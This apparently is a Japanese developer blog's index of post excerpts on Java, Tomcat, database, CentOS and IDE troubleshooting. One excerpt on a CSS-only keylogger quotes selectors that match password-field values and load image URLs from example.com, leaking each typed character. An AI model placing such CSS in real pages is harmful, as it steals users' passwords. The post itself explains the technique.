Tomcat-9.0.30が起動しない

Tomcat-9.0.29あたりから起動スクリプト(catalina.sh)の作りが変わったらしく、CATALINA_OPTSに改行付き文字列を指定すると起動しなくなりました。 例えば以下のような感じ。 export CATALINA_OPTS=" -server -Xmx8G -XX:+UseStringDeduplication -XX:+HeapD…

MacBook Pro (16-inch, 2019)を買った

買いました。64GiBのメモリが欲しかったので。 Appleもやっと、ガチユーザーのニーズを理解し始めてくれたのは嬉しいですね。でもまだ足りない。 ThinkPad Pシリーズに負けている。まずはXeonをですね。100万円でも買うぞ。もっとパワーを! (訂正:ボディ…

"jacoco agent library failed to init instrument"になる件

jacoco-0.8.4以降で"jacoco agent library failed to init instrument"が出て動かなくなりました。 で、調べたところWindows環境ではjava agentのjarへのパスをクォートで囲む必要があるようです。これまで不要だったのに何故…? まあとにかく、 -javaagent:…

lambda-factoryをOpenJ9で動かすおまじない

OpenJ9、省メモリ性能が結構良さそうな感じなので検証中です。 ただしlambda-factoryが動きません。 github.com というわけで無理やり対応します。以下の通り。分かる人がわかればOK! final var f0 = MethodHandles.Lookup.class.getDeclaredField("accessM…

(超意訳) The Order of the JSON - JSONの順序について

blog.almaer.com これが面白かったので訳してみました。 僕の英語力でよくわからなかった表現は適当にごまかしてます。 Fitzのツイートを読んだ時、俺が過去に非テック企業で経験した嫌な思い出が蘇ってきた。 Hey @sendgrid, your team is telling me that …

zstd-jniはストリームではなくbyte[]で使え

まだGZIPで消耗してるの!? というアオリでスタートする今日の記事です。 はい。もうみんな使ってますねZstandard。 facebook.github.io gzipにほぼ全方面で勝っており、使わない理由がありません。 もちろんJavaでも使えます。JNIですが。 github.com この…

CentOS6でMariaDB-10.4へアップグレード

MariaDB-10.4の正式版がリリースされていました。 ところが本家のページを見てもCentOS6向けMariaDB-10.4のバイナリが存在しない模様で、「サーバ作り直しかよ…辛い」と思っていた次第。 未だCentOS6使い続けているのはどうなのって話なんですが、移行がめん…

EclipseLinkがmariadb-java-client-2.4.xを正しく認識しない件

mariadb-java-client-2.4.xから、ドライバ経由で取得するデータベースの名前が変わったようです。こういうエラーになります。 Not able to detect platform for vendor name [MariaDB1010.3.13-MariaDB]. Defaulting to [org.eclipse.persistence.platform.d…

GCP上のMySQLへ接続しようとするとNoSuchMethodErrorとかAbstractMethodErrorが発生して辛い

生きてます。マジで超忙しいです。 誰か、休暇をください…その時間で仕事をしたいので! GCP上のMySQLへ接続し(略) さて。タイトル通り。 Caused by: java.lang.NoSuchMethodError: com.google.cloud.sql.core.SslSocketFactory.listIpTypes(Ljava/lang/St…

Java11でMyBatisが動かない→Unsafeの仕様が変わったため

お久しぶりです。生きてます。 最近忙しすぎてサボってました。書くネタはそれなりにあるのですが… さて、Java11がリリースされましたね。僕も早速検証中ですが、 すぐに壁にぶち当たりました。MyBatisのlazy loadingが動きません。 結論から言うと、org.apa…

ProGuardで処理したJarとSpringFrameworkの相性が悪い

生きてます。 最近、某社の基幹システム再構築案件で超忙しく、なかなかブログを書く暇もない。 単なる技術メモ程度の内容でしかないにもかかわらず、何たることだ。 しっかしこの某社、当社がプロジェクトの立て直しを手伝う前は、インチキ方法論者の某氏*1…

PMDのClassNamingConventionsがおせっかいすぎる件

「ユーティリティクラスはXXXUtilsまたはXXXHelperという名前でなければなりません」 はわかるのですが、ただの定数クラス(しかもパッケージプライベートな内部用)にもそのルールを当てはめるのは、やりすぎです。 PMD6.4にアップデートしてから、この警告…

Tomcatは圧縮されたマルチパートHTTPリクエストをパースできない

タイトル通り。今日1日まるごと、この件の調査で潰れた。 ひたすらTomcatのコードをデバッガーで追いかけてました。 まだ部屋の掃除(※週末の固定タスク)もしてないのに…!!(怒) さて。 例えば、サーブレットフィルタで入力ストリームをデコードするよう…

100個以上のインスタンス実行記念カキコ

Docurainの負荷試験のためにスポットのt2.mediumを160個実行中です。 これを24H365Dで動かすと、およそ1,000万円らしいです。

CentOS 7.5のParallels-Toolsインストール失敗を強引に解消する

CentOS 7.5が出たので手持ちの仮想マシンをアップデートしてみたらエラーになりました。 ログはこんな感じ。 Fri May 11 19:53:00 JST 2018 cd prl_eth/pvmnet && make cd prl_eth/pvmnet && rm -rf .*.cmd .tmp_versions cd prl_tg/Toolgate/Guest/Linux/pr…

IntelliJの検索ボックスが動かない→検索履歴を手動で削除

正規表現の検索ボックスが動かなくなりました。("Entity"は必ずヒットするはずの状況) どうやら、過去に指定した不正な正規表現が邪魔をしているようです。 この履歴、IntelliJの「キャッシュをクリアして再起動」をしてもクリアされません。困る。 解決策…

EclipseLink-2.7.1とJava10でweaverが動かない(ことがある)

Java10上でEclipseLinkを動かすと、 Weaver encountered an exception while trying to weave class foo/bar/Baz. The exception was: null という警告が出ることがあります。nullってなんだよおい。 調べた所、EclipseLinkが内部に保持しているASMのバージ…

Kotlin + Gradle + Java10が動かない

タイトル通り。Kotlin1.2 + Gradle4.6 + Java10で動かすとエラーになります。こんな感じ。 Caused by: java.lang.ArrayIndexOutOfBoundsException: 448 at org.jetbrains.org.objectweb.asm.ClassReader.readUnsignedShort(ClassReader.java:2464) at org.je…

CSSだけでキーロガーを作る(※追記あり)

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とする…

安全なpublic DNSを設定する

(出典: cryptoaustralia.org) 安全を謳うpublic DNSはいくつかあります。 有名なところはNorton ConnectSafeです。僕も自宅で使っておりました。(※個人利用は無料) ですが、ある日突然、zuluのyumリポジトリをブロックしてしまったので、乗換先を探すことに…

開発者コンソールでファイルダウンロードのHTTPログを見る

ファイルダウンロードの場合は別タブでのHTTPという扱いになるため、 ダウンロードリンクのクリック元となる画面の、開発者コンソールにHTTPログが表示されません。 とは言え、ダウンロード側のタブはダウンロードが終わったら直ちにクローズされるため、開…

Jenkins-2.89.1に更新したらスレーブに接続できなくなった→Pluginを別途インストール

Jenkinsの更新がリリースされていたので更新したら、スレーブが全て接続不能になりました…マジかよ。 超絶困るのですぐに調査した所、どうも「マスターでコマンドを起動してエージェントを起動する」が削除されてしまったようです。 え…? みんな、これ使っ…

ITmediaで記事を書きました

ITmediaで超高速開発に関する記事を書きました。 日頃から僕がどのような考えに基づいて取り組んでいるかを、ざっとまとめた感じです。 www.itmedia.co.jp ご意見・ご感想はお気軽に!

意訳:俺がEclipseにこだわる理由

http://dzone.com/articles/i-still-prefer-eclipse-over-intellij-idea こちらの記事を読みました。意訳は以下の通り。 IntelliJ IDEAはIDEにおけるiPhoneのような感じである。信者が、 「一度使えばわかる」 「まだEclipseで消耗してるの?」 「みんなIDEA…

"snap_metadata_val: invalid extentref_tree_oid"→TimeMachineのローカルバックアップを消す

先程、macOSのディスクユーティリティでチェックをしたら謎のエラーが発生しました。 よく見ると、 snap_metadata_val: invalid extentref_tree_oid と表示されております。 ググってみたところ、TimeMachineのローカルバックアップが壊れている時に表示され…

SLF4J-1.8は現時点ではlogbackで動かせない?

slf4j-1.8.0-beta0がリリースされていたので早速更新してみた所、こんなエラーが出てログが全く動かなくなりました。 SLF4J: No SLF4J providers were found. SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.o…

Java9でDateTimeException→jarファイルのタイムスタンプを確認

うちのメンバーのマシン上でビルドしたwarをTomcatに配備したらこんなエラーが出ました。 Caused by: java.time.DateTimeException: Invalid value for MonthOfYear (valid values 1 - 12): 0 at java.base/java.time.temporal.ValueRange.checkValidValue(V…

IntelliJ:「この文字は、エンコーディングutf8にマップできません」→依存jarの中にJavaのソースが紛れ込んでいる

英語検索用: “Unmappable character for encoding UTF-8” error -> Your dependant jar will contain invalid encoded java source files. タイトル通りです。 IntelliJで使用する標準JDKをJava9に更新してからというもの、「この文字は、エンコーディングut…

CentOS 7.4にyumでアップグレードしたら起動しなくなる件

タイトル通りです。 yumでアップグレードしたら起動しなくなりました。 で、幸いにして仮想マシンなのでスナップショットに戻してもう一度観察すると、カーネルの更新のところでこんなエラーが出ていました。 grub2-editenv: error: invalid environment blo…

PMDでIncompatibleClassChangeError→checkstyle-8.2-all.jarが原因

今日、PMDを実行したらいきなりこんなエラーになって動かなくなりました。 java.lang.IncompatibleClassChangeError: Implementing class ... は?何?と思って調査した所、checkstyle-8.2-all.jarをcheckstyle-8.1-all.jarに戻したら動くようになりました。…